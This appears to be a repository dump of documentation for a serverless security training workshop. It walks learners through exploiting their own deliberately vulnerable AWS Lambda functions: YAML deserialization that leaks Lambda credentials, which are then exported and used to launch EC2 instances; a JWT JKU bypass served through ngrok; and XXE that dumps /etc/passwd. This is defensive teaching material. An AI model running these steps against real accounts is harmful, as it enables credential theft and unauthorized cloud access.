for instructor to explain the contents of the lab 20 | * Step 3: Let's look at the contents of the `serverless.yml` [here](https://github.com/we45/Serverless-Workshop/blob/master/DynamoDB-Injection/serverless.yml) 21 | 22 | * Step 4: Deploy the function with the command `sls deploy` 23 | 24 | ```commandline 25 | sls deploy 26 | ``` 27 | * Wait for the function to deploy completely 28 | * Once the function is deployed, you should see a URL ending with `yaml-upload` 29 | * Step 5: Let's first upload a yaml file to see what it does 30 | 31 | ```bash 32 | http POST https://XXXXXXX.execute-api.us-west-2.amazonaws.com/dev/yaml-upload file=@serverless.yml 33 | ``` 34 | 35 | * Step 6: Now let's run a malicious yaml to see if our attack works 36 | 37 | ```bash 38 | wget https://raw.githubusercontent.com/we45/container_training/master/Kubernetes/K8s-Cluster-Attack/payloads/test_payment.yml 39 | ``` 40 | 41 | * Examine this file and see what's different about it 42 | 43 | * Step 7: Now let's upload the YAML file and see if our payload executes 44 | 45 | ```bash 46 | http POST https://XXXXXXX.execute-api.us-west-2.amazonaws.com/dev/yaml-upload file=@test_payment.yml 47 | ``` 48 | 49 | You should see a response like this 50 | ```json 51 | 52 | { 53 | "content": { 54 | "amount": 112, 55 | "card": 5111111111111111, 56 | "merchant": "Hello World Traders", 57 | "name": "PayTM Bill payment 5", 58 | "reason": "UEFUSD0vdmFyL2xhbmcvYmluO " 59 | } 60 | } 61 | 62 | ``` 63 | * Step 8: Copy the Base64 encoded value for the `reason` key and run: 64 | 65 | ```bash 66 | echo "" | base64 -d 67 | ``` 68 | 69 | you should see a bunch of environment variables being displayed on screen 70 | 71 | ```bash 72 | ATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin 73 | LD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib 74 | LANG=en_US.UTF-8 75 | TZ=:UTC 76 | LAMBDA_TASK_ROOT=/var/task 77 | LAMBDA_RUNTIME_DIR=/var/runtime 78 | AWS_REGION=us-west-2 79 | AWS_DEFAULT_REGION=us-west-2 80 | AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/we45-sls-workshop-deserial-dev-deserial 81 | AWS_LAMBDA_LOG_STREAM_NAME=2019/07/25/[$LATEST]d10c0fbe300f43f5b5f4827099e506c2 82 | AWS_LAMBDA_FUNCTION_NAME=we45-sls-workshop-deserial-dev-deserial 83 | AWS_LAMBDA_FUNCTION_MEMORY_SIZE=2048 84 | AWS_LAMBDA_FUNCTION_VERSION=$LATEST 85 | _AWS_XRAY_DAEMON_ADDRESS=169.254.79.2 86 | _AWS_XRAY_DAEMON_PORT=2000 87 | AWS_XRAY_DAEMON_ADDRESS=169.254.79.2:2000 88 | AWS_XRAY_CONTEXT_MISSING=LOG_ERROR 89 | AWS_EXECUTION_ENV=AWS_Lambda_python3.7 90 | _HANDLER=handler.main 91 | AWS_ACCESS_KEY_ID= 92 | AWS_SECRET_ACCESS_KEY= 93 | AWS_SESSION_TOKEN= 94 | ``` 95 | 96 | * Step 9: Now run `export AWS_ACCESS_KEY_ID=` by copying the Access Key ID 97 | 98 | ```commandline 99 | export AWS_ACCESS_KEY_ID= 100 | ``` 101 | 102 | * Step 10: Now run `export AWS_SECRET_ACCESS_KEY=` by copying the Access Key 103 | 104 | ```commandline 105 | export AWS_SECRET_ACCESS_KEY= 106 | ``` 107 | 108 | * Step 11: Now run `export AWS_SESSION_TOKEN=` by copying the session token 109 | 110 | ```commandline 111 | export AWS_SESSION_TOKEN= 112 | ``` 113 | 114 | you are now using the credential provided by these tokens for the Lambda service 115 | 116 | * Step 12: if you run `aws dynamodb list-tables` you should get an error, as you are no longer using the admin profile anymore 117 | 118 | ```commandline 119 | aws dynamodb list-tables 120 | ``` 121 | 122 | ### Let's complete the attack 123 | 124 | * Step 13: Now we should be able to launch an EC2 instance with this command: 125 | ```bash 126 | aws ec2 run-instances --image-id ami-9abea4fb --count 1 --instance-type t2.micro 127 | ``` 128 | 129 | * Step 14: Now access your AWS Console and look `EC2`, and go to `instances` and check the `instances status`. It should show `running`. That means Server has been provisioned. 130 | 131 | ![EC2 Instance](img/ec2.png) 132 | 133 | ## Clean up - Very important!!! 134 | 135 | * Step 15: Get *ec2 InstanceId* `aws ec2 describe-instances | grep InstanceId` 136 | 137 | ```commandline 138 | aws ec2 describe-instances | grep InstanceId 139 | ``` 140 | 141 | * Step 16: Copy the `InstanceId` and terminate the `ec2` instance `aws ec2 terminate-instances --instance-ids ` 142 | 143 | ```commandline 144 | aws ec2 terminate-instances --instance-ids 145 | ``` 146 | 147 | 148 | ### You don't want to leave your AWS Account with actively exploitable RCE flaw 149 | 150 | * Step 17: Unset the AWS_ACCESS_KEY_ID 151 | 152 | ```commandline 153 | unset AWS_ACCESS_KEY_ID 154 | ``` 155 | 156 | * Step 18: Unset the AWS_SECRET_ACCESS_KEY 157 | 158 | ```commandline 159 | unset AWS_SECRET_ACCESS_KEY 160 | ``` 161 | 162 | * Step 19: Unset the AWS_SESSION_TOKEN 163 | 164 | ```commandline 165 | unset AWS_SESSION_TOKEN 166 | ``` 167 | 168 | * Step 20: In your image, navigate over to `/root/labs/Serverless-Workshop/Insecure-Deserialization` 169 | 170 | ```commandline 171 | cd /root/labs/Serverless-Workshop/Insecure-Deserialization 172 | ``` 173 | 174 | * Step 21: now run `sls remove` to remove the vulnerable function from your account 175 | 176 | ```commandline 177 | sls remove --force 178 | ``` 179 | 180 | 181 | -------------------------------------------------------------------------------- /docs/Insecure-Deserialization/img/ec2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/Insecure-Deserialization/img/ec2.png -------------------------------------------------------------------------------- /docs/JWT-JWK/README.md: -------------------------------------------------------------------------------- 1 | ## JWT - JKU Authorization Bypass 2 | 3 | **Note:** If you have not setup your aws cli follow [AWS-CLI-Configuration](aws-configure/README.md) under the `Setup` section* 4 | 5 | * Step 1: In your image, navigate over to `/root/labs/Serverless-Workshop/` 6 | 7 | ```commandline 8 | cd /root/labs/Serverless-Workshop/ 9 | ``` 10 | 11 | * Step 2: Run `pip3 install pipenv` 12 | 13 | ```commandline 14 | pip3 install pipenv 15 | ``` 16 | 17 | * Step 3: Run `pipenv install` 18 | 19 | ```commandline 20 | pipenv install 21 | ``` 22 | 23 | ```commandline 24 | pipenv install jwcrypto 25 | ``` 26 | 27 | * Step 4: `pipenv shell` 28 | 29 | ```commandline 30 | pipenv shell 31 | ``` 32 | 33 | * Step 5: In your image, navigate over to `/root/labs/Serverless-Workshop/JWT-JWK` 34 | 35 | ```commandline 36 | cd /root/labs/Serverless-Workshop/JWT-JWK 37 | ``` 38 | 39 | * Step 6: Run `sls plugin install -n serverless-python-requirements` 40 | 41 | ```commandline 42 | sls plugin install -n serverless-python-requirements 43 | ``` 44 | 45 | * Wait for instructor to explain the contents of the lab 46 | * Step 7: Install a package for this to work `npm install -g jwt-cli` 47 | 48 | ```commandline 49 | npm install -g jwt-cli 50 | ``` 51 | 52 | * Step 8: Let's look at the contents of the `serverless.yml` [here](https://github.com/we45/Serverless-Workshop/blob/master/JWT-JWK/serverless.yml) 53 | 54 | * Step 9: Deploy the function with the command `sls deploy` 55 | 56 | ```commandline 57 | sls deploy 58 | ``` 59 | 60 | * Wait for the function to deploy completely 61 | 62 | * Step 10: Initialize the Program with the following command 63 | 64 | ```bash 65 | http GET https://XXXXXXX.execute-api.us-west-2.amazonaws.com/dev/init 66 | ``` 67 | 68 | you should see an output like this 69 | 70 | ```bash 71 | HTTP/1.1 200 OK 72 | Connection: keep-alive 73 | Content-Length: 73 74 | Content-Type: application/json 75 | Date: Fri, 26 Jul 2019 11:56:09 GMT 76 | Via: 1.1 706c647442c234a140558b049b967cc5.cloudfront.net (CloudFront) 77 | X-Amz-Cf-Id: GPaQyO3YdDda1NBe5hqqZ5a7Mpdf5NgZxm2kjQm1TQk76V2cWQ9m_Q== 78 | X-Amz-Cf-Pop: BLR50-C1 79 | X-Amzn-Trace-Id: Root=1-5d3aea58-c194ed1820098bd0973e3f08;Sampled=0 80 | X-Cache: Miss from cloudfront 81 | x-amz-apigw-id: dbmNwEp0PHcFY8Q= 82 | x-amzn-RequestId: 5a8fc007-af9c-11e9-b076-b3cc7c0d1d4b 83 | 84 | { 85 | "url": "https://jwk-resources-1564139712929.s3.amazonaws.com/jwks.json" 86 | } 87 | ``` 88 | * Step 11: Now, obtain a token from the system by logging in 89 | 90 | ```bash 91 | http POST https://XXXXXXX.execute-api.us-west-2.amazonaws.com/dev/login user=admin password=admin 92 | ``` 93 | 94 | you should see output like this 95 | 96 | ```json 97 | { 98 | "token": "eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vandrLXJlc291cmNlcy0xNTY0MTM5NzEyOTI5LnMzLmFtYXpvbmF3cy5jb20vandrcy5qc29uIn0.eyJ1c2VyIjoidXNlciJ9.hsA7nYpgplSmhLLhFX18cJTO2HGJYeqMDT8OQe1IZRWseH9ZDOiSa1QHQvSkhmrVSB8h_0Cw6nCj_v5JblnyUC-peY1nWzDAD1xbZCfY0PDUXaq-mKOxfr1-X0Uotc-UabTISGcciLl3DJvRspJa928xNrMM5JRIpYX3X5UpiucmUcbBtudYn-KPgVJVbAvCxB_cAGTi5IWT7bDMnO5-ofcL29xjo-BYhkX9JVPG3xg6yfKEOTSgFjLq6dbldu_sNX-KSwohKKRVkhIkSQOpIdUcw8u9BMqJ3tSE8fgugEZfu5oGqciz9jo_CRwahkEjkZ8XCc4QtfO_TiL63sDnCA", 99 | "user": "user" 100 | } 101 | ``` 102 | 103 | * Step 12: Copy the `token` value and run `jwt ` 104 | 105 | ```commandline 106 | jwt 107 | ``` 108 | 109 | or you can check [here](https://jwt.io/) 110 | 111 | * You should see something like this 112 | 113 | ```bash 114 | Header 115 | { 116 | "alg": "RS256", 117 | "jku": "https://jwk-resources-1564139712929.s3.amazonaws.com/jwks.json" 118 | } 119 | 120 | Payload 121 | { 122 | "user": "user" 123 | } 124 | 125 | ``` 126 | 127 | * Step 13: Now, open another two tabs of your lab image. You have now a total of three tabs. Let's call the current tab, **Tab 1** 128 | 129 | In the **Tab 2**: 130 | 131 | * Step 14: In your image, navigate over to `/root/labs/Serverless-Workshop/JWT-JWK` 132 | 133 | ```commandline 134 | cd /root/labs/Serverless-Workshop/JWT-JWK 135 | ``` 136 | 137 | * Step 15: Run: `python -m http.server` 138 | 139 | ```commandline 140 | python -m http.server 141 | ``` 142 | 143 | In the **Tab 3**: 144 | 145 | * Step 16: Install *ngrok* `wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip` 146 | 147 | ```commandline 148 | wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip 149 | ``` 150 | * Step 17: Run `apt-get install unzip` 151 | 152 | ```commandline 153 | apt-get install unzip 154 | ``` 155 | 156 | * Step 18: `unzip` the *ngrok* `unzip ngrok-stable-linux-amd64.zip` 157 | 158 | ```commandline 159 | unzip ngrok-stable-linux-amd64.zip 160 | ``` 161 | 162 | * Step 19: Run `./ngrok http 8000` 163 | 164 | ```commandline 165 | ./ngrok http 8000 166 | ``` 167 | 168 | ```bash 169 | Session Status online 170 | Session Expires 7 hours, 10 minutes 171 | Update update available (version 2.3.34, Ctrl-U to update 172 | Version 2.2.8 173 | Region United States (us) 174 | Web Interface http://127.0.0.1:4040 175 | Forwarding http://f8ccd11d.ngrok.io -> localhost:8000 176 | Forwarding https://f8ccd11d.ngrok.io -> localhost:8000 177 | ``` 178 | 179 | Back in **Tab 1**: 180 | * Step 20: Run `python token_gen.py https://f8ccd11d.ngrok.io` with copied *ngrok* https `Forwarding` value 181 | 182 | ```commandline 183 | python token_gen.py https://.ngrok.io 184 | ``` 185 | 186 | * Step 21: Copy the generated token starting `ey....` 187 | 188 | * Step 22: Run 189 | 190 | ```bash 191 | http GET https://XXXXXXX.execute-api.us-west-2.amazonaws.com/dev/jwk Authorization: 192 | ``` 193 | 194 | **Note:** You should see a response, that you are administrator 195 | 196 | 197 | ### Teardown 198 | 199 | * Step 23: **Tab 1**, navigate over to `/root/labs/Serverless-Workshop/JWT-JWK` 200 | 201 | ```commandline 202 | cd /root/labs/Serverless-Workshop/JWT-JWK 203 | ``` 204 | 205 | * Step 24: Run `sls remove` to remove stack 206 | 207 | ```commandline 208 | sls remove --force 209 | ``` 210 | 211 | * Step 25: Deactivate `pipenv` using `deactivate` command 212 | 213 | ```commandline 214 | deactivate 215 | ``` 216 | 217 | ```commandline 218 | exit 219 | ``` 220 | 221 | * Step 26: **Tab 2** Run `ctrl+c` and close tab 222 | 223 | * Step 27: **Tab 3** Run `ctrl+c` and close tab 224 | -------------------------------------------------------------------------------- /docs/Lambdaguard/README.md: -------------------------------------------------------------------------------- 1 | # LambdaGuard 2 | 3 | **Note:** If you have not setup your aws cli follow [AWS-CLI-Configuration](aws-configure/README.md) under the `Setup` section* 4 | 5 | * Step 1: In your image, navigate over to `/root/labs/Serverless-Workshop/` 6 | 7 | ```commandline 8 | cd /root/labs/Serverless-Workshop/ 9 | ``` 10 | * Step 2: Run `lambdaguard --region=us-west-2` you might have to substitute `us-west-2` for any other region you have deployed your serverless functions in 11 | 12 | ```commandline 13 | lambdaguard --region=us-west-2 14 | ``` 15 | 16 | * Wait for Lambdaguard to complete analysis 17 | 18 | * Step 3: Now run: 19 | 20 | ```bash 21 | python -m http.server 22 | ``` 23 | 24 | * Step 4: In another browser tab, go to the URL for your image followed by port 8000 `:8000` 25 | 26 | * Step 5: Open up the report in `Lambdaguard output` directory 27 | * Click to `report.html` 28 | 29 | * Step 6: Run `ctrl+c` to stop the **http server** 30 | -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | # Headline 2 | 3 | > An awesome project. 4 | -------------------------------------------------------------------------------- /docs/XXE/README.md: -------------------------------------------------------------------------------- 1 | # XXE - Event Injection 2 | 3 | **Note:** If you have not setup your aws cli follow [AWS-CLI-Configuration](aws-configure/README.md) under the `Setup` section* 4 | 5 | * Step 1: In your image, navigate over to `/root/labs/Serverless-Workshop/XXE` 6 | 7 | ```commandline 8 | cd /root/labs/Serverless-Workshop/XXE 9 | ``` 10 | 11 | * Step 2: Run `sls plugin install -n serverless-python-requirements` 12 | 13 | ```commandline 14 | sls plugin install -n serverless-python-requirements 15 | ``` 16 | 17 | * Wait for instructor to explain the contents of the lab 18 | 19 | * Step 3: Let's look at the contents of the `serverless.yml` [here](https://github.com/we45/Serverless-Workshop/blob/master/XXE/serverless.yml) 20 | 21 | * Step 4: Deploy the function with the command `sls deploy` 22 | 23 | ```commandline 24 | sls deploy 25 | ``` 26 | 27 | * Wait for the function to deploy completely 28 | 29 | * Step 5: Now, run: 30 | 31 | ```commandline 32 | aws s3 ls | grep we45-sls-xxe- 33 | ``` 34 | 35 | ```commandline 36 | aws s3 cp Pass.docx s3://< name of your s3 bucket >/Pass.docx 37 | ``` 38 | 39 | * Step 6: Wait for a few seconds post upload and run: 40 | 41 | ```commandline 42 | sls logs --function xxe 43 | ``` 44 | 45 | You should see the `/etc/passwd` file of the Lambda VM being dumped on screen 46 | 47 | ### Teardown 48 | 49 | * Step 7: In your image, navigate over to `/root/labs/Serverless-Workshop/XXE` 50 | 51 | ```commandline 52 | cd /root/labs/Serverless-Workshop/XXE 53 | ``` 54 | 55 | * Got to aws console and click s3 and then delete `we45-sls-xxe-` bucket 56 | 57 | * Step 8: Run `sls remove --force` to remove stack 58 | 59 | ```commandline 60 | sls remove --force 61 | ``` 62 | -------------------------------------------------------------------------------- /docs/_coverpage.md: -------------------------------------------------------------------------------- 1 | 2 | # Pwning Serverless Workshop 3 | 4 | > An awesome project. 5 | 6 | 7 | 8 | [Get Started](using-the-labs/README.md) 9 | 10 | 11 | ![](img/bti23.jpg) 12 | -------------------------------------------------------------------------------- /docs/_sidebar.md: -------------------------------------------------------------------------------- 1 | * [Using the Labs](using-the-labs/README.md) 2 | * [Configure AWS](aws-configure/README.md) 3 | * [Basic Serverless API](Basic-API/README.md) 4 | * [Basic Serverless Events](Basic-Events/README.md) 5 | * [XXE Event Injection](XXE/README.md) 6 | * [DynamoDB Injection](DynamoDB-Injection/README.md) 7 | * [Insecure Deserialization](Insecure-Deserialization/README.md) 8 | * [JWT Algorithm Confusion](Algorithm-Confusion/README.md) 9 | * [JWT JWK](JWT-JWK/README.md) 10 | * [LambdaGuard](Lambdaguard/README.md) -------------------------------------------------------------------------------- /docs/aws-configure/README.md: -------------------------------------------------------------------------------- 1 | ## AWS CLI Configuration 2 | --- 3 | * Step 1: Go to browser 4 | 5 | * Step 2: Signup/Signin to aws console 6 | 7 | * Step 3: In the search bar type `IAM` 8 | 9 | * Step 4: Click on `Users` on the sidebar 10 | 11 | * Step 5: Click on add user, you will be redirected to a new page 12 | 13 | * Step 6: Fill the user name you wish 14 | 15 | * Step 7: In the `Access type` checkbox selection select `Programmatic access` and click `Next` 16 | 17 | * Step 8: Now select `Attach existing policies directly` 18 | 19 | * Step 9: In the search bar enter `AdministratorAccess` 20 | 21 | * Step 10: Now select the one which has a Policy name as `AdministratorAccess` and click `Next` and again click `Next` 22 | 23 | * Step 11: Now click `Create User` 24 | 25 | * Step 12: Now you can download the csv file that will have your `access-key` and `secret-key` 26 | 27 | * Step 13: Open terminal 28 | 29 | * Step 14: Initiate configuration 30 | 31 | ```commandline 32 | aws configure 33 | ``` 34 | 35 | You will be prompted to enter you aws credentials 36 | 37 | ![Image](./img/config.png) 38 | 39 | > **NOTE**: Ensure that the `Default region name` is `us-west-2` 40 | 41 | * Step 15: Once you complete the configuration type 42 | 43 | ```commandline 44 | cat /root/.aws/credentials 45 | ``` 46 | The output of the following command will look like 47 | 48 | ![Image](./img/aws_cred.png) 49 | 50 | ```commandline 51 | cat /root/.aws/config 52 | ``` 53 | The output of the following command will look like 54 | 55 | ![Image](./img/get_config.png) 56 | 57 | -------------------------------------------------------------------------------- /docs/aws-configure/img/aws_cred.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/aws-configure/img/aws_cred.png -------------------------------------------------------------------------------- /docs/aws-configure/img/config.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/aws-configure/img/config.png -------------------------------------------------------------------------------- /docs/aws-configure/img/creds.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/aws-configure/img/creds.png -------------------------------------------------------------------------------- /docs/aws-configure/img/get_config.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/aws-configure/img/get_config.png -------------------------------------------------------------------------------- /docs/img/bti23.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/img/bti23.jpg -------------------------------------------------------------------------------- /docs/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Document 6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 28 | 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /docs/using-the-labs/FAQs.md: -------------------------------------------------------------------------------- 1 | # FAQs - Frequently Asked Quetions 2 | 3 | ### How long is the Lab Environment available? 4 | The lab environment is available through the length of the training. At the end of the training, the lab system is scrubbed with all data associated with the event. 5 | 6 | ### How do I get access to the materials and code used for the training? 7 | Throughout the training, you'll need access to code, presentations and links used in the training. There's a separate view in the lab system to access those 8 | 9 | First, in the dashboard, you should click on this icon 10 | 11 | ![icon](img/artefacts_icon.png) 12 | 13 | Once you click on this icon, you'll get a table with all the necessary artefacts used in the training. 14 | 15 | ### For the AWS class, I have entered my AWS Access Key and Secret in the server. How will I know it will be safe? 16 | * Each server is dedicated to the person using it only. There are no shared environments in our classes. 17 | * Regarding AWS Access Key and Secret, we recommend that you make the specific AWS Access Key inactive/delete it. You can do this from your AWS Console. 18 | 19 | **Please feel free to do this as often as you need** 20 | 21 | **If you do this, please remember to always reconfigure the server with `aws configure`** 22 | 23 | ![AWS](img/inactive_aws.png) 24 | 25 | * In addition, all the servers are scrubbed and deleted after the expiry time for the server and any data from the previous user is scrubbed from the server. -------------------------------------------------------------------------------- /docs/using-the-labs/README.md: -------------------------------------------------------------------------------- 1 | # Using the labs for this class 2 | 3 | ## Signing up for the Lab Management System 4 | 5 | >You will be using a state-of-the-art lab management system for this class. This works as follows: 6 | 7 | * You will need to sign-up with a special code (given by your instructor) for the Lab [at this link](https://lab.we45.training) 8 | 9 | ``` Commandline 10 | https://lab.we45.training 11 | ``` 12 | 13 | ![Register Page](img/register_page.png) 14 | 15 | 16 | * Once you successfully sign up. You'll need to Sign in with the email and password you've provided. 17 | 18 | ![Register Page](img/login.png) 19 | 20 | 21 | >**Please do not forget the password you've used. We recommend you use a password manager** 22 | 23 | * Once you login, you should see a screen like this 24 | 25 | 26 | ![Main Page](img/dash_board.png) 27 | 28 | As you can see, you will a list of topics for which you can provision the lab servers. The Lab servers can be provisioned by clicking on the `Play` button on each row, in the right corner. 29 | 30 | ![Press Play](img/press-play.png) 31 | 32 | Once you press play, you'll see a spinner that indicates that the server is being provisioned for you. You'll need to press play on the lab that the instructor mentions in the class. 33 | 34 | ![Provision Spinner](img/server-prov-icon.png) 35 | 36 | Please wait for the server to be provisioned and do NOT click on the Refresh button during this process. It takes upto 5 minutes for the dedicated lab to be provisioned for you. 37 | 38 | Once the lab is provisioned, you'll be able to access it by clicking on the lab link here 39 | 40 | ![Lab Link](img/lab-link.png) 41 | 42 | Once you click on the lab link, you'll have an additional browser tab open that will give you direct shell access to the server right from your browser. 43 | 44 | Usually, your server expires after a particular time automatically. Howver, you can stop the server (destroying the lab environment) by clicking on the button indicated below 45 | 46 | ![Stop Lab](img/stop-lab.png) 47 | 48 | > Remember, all the servers that you provision are dedicated to you and for you, for the entire length of the training. 49 | 50 | > The date and time indicate when the server will automatically shut-off. If that happens, don't worry. You can always re-provision the server as you provisioned it the first time. 51 | 52 | > You can concurrently provision only one server. Althought, you may have multiple servers running at the same time. 53 | 54 | 55 | ## Accessing the Material 56 | 57 | * Throughout the training, you'll need access to code, presentations and links used in the training. There's a separate view in the lab system to access those 58 | 59 | First, in the dashboard, you should click on this icon 60 | 61 | ![icon](img/artefacts_icon.png) 62 | 63 | Once you click on this icon, you'll get a table with all the necessary artefacts used in the training. 64 | 65 | >> Please feel free to download these materials before the training ends. You will not have access to the portal after the class ends, as all the material gets scrubbed from the lab system 66 | 67 | ![Artefacts](img/artefacts.png) 68 | -------------------------------------------------------------------------------- /docs/using-the-labs/img/access_lab_link.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/using-the-labs/img/access_lab_link.png -------------------------------------------------------------------------------- /docs/using-the-labs/img/artefacts.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/using-the-labs/img/artefacts.png -------------------------------------------------------------------------------- /docs/using-the-labs/img/artefacts_icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/using-the-labs/img/artefacts_icon.png -------------------------------------------------------------------------------- /docs/using-the-labs/img/dash_board.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/using-the-labs/img/dash_board.png -------------------------------------------------------------------------------- /docs/using-the-labs/img/lab-link.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/using-the-labs/img/lab-link.png -------------------------------------------------------------------------------- /docs/using-the-labs/img/lab_provision.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/using-the-labs/img/lab_provision.png -------------------------------------------------------------------------------- /docs/using-the-labs/img/login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/using-the-labs/img/login.png -------------------------------------------------------------------------------- /docs/using-the-labs/img/main-screen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/using-the-labs/img/main-screen.png -------------------------------------------------------------------------------- /docs/using-the-labs/img/press-play.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/using-the-labs/img/press-play.png -------------------------------------------------------------------------------- /docs/using-the-labs/img/register_page.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/using-the-labs/img/register_page.png -------------------------------------------------------------------------------- /docs/using-the-labs/img/server-prov-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/using-the-labs/img/server-prov-icon.png -------------------------------------------------------------------------------- /docs/using-the-labs/img/stop-lab.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/we45/Serverless-Workshop/155143e58043ac93e1c6f02808a5586cc0b912ef/docs/using-the-labs/img/stop-lab.png -------------------------------------------------------------------------------- /provision/sls-install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sudo apt-get update 3 | sudo add-apt-repository -y ppa:tsl0922/ttyd-dev 4 | sudo add-apt-repository -y ppa:deadsnakes/ppa 5 | sudo apt-get update 6 | sudo apt-get install -y git ttyd software-properties-common build-essential checkinstall libreadline-gplv2-dev libncursesw5-dev libssl-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev libffi-dev zlib1g-dev 7 | curl -sL https://deb.nodesource.com/setup_11.x -o nodesource_setup.sh 8 | chmod +x nodesource_setup.sh 9 | sudo bash nodesource_setup.sh 10 | sudo apt-get install -y nodejs python3.7 npm 11 | npm install -g serverless serverless-python-requirements 12 | wget https://bootstrap.pypa.io/get-pip.py && python3 get-pip.py 13 | mkdir -p /root/labs/ && cd /root/labs/ 14 | sudo apt-get update 15 | sudo apt-get install -y apt-transport-https ca-certificates curl gnupg-agent software-properties-common 16 | curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - 17 | sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" 18 | sudo add-apt-repository -y ppa:tsl0922/ttyd-dev 19 | sudo apt-get update 20 | sudo apt-get install -y docker-ce docker-ce-cli containerd.io ttyd 21 | --------------------------------------------------------------------------------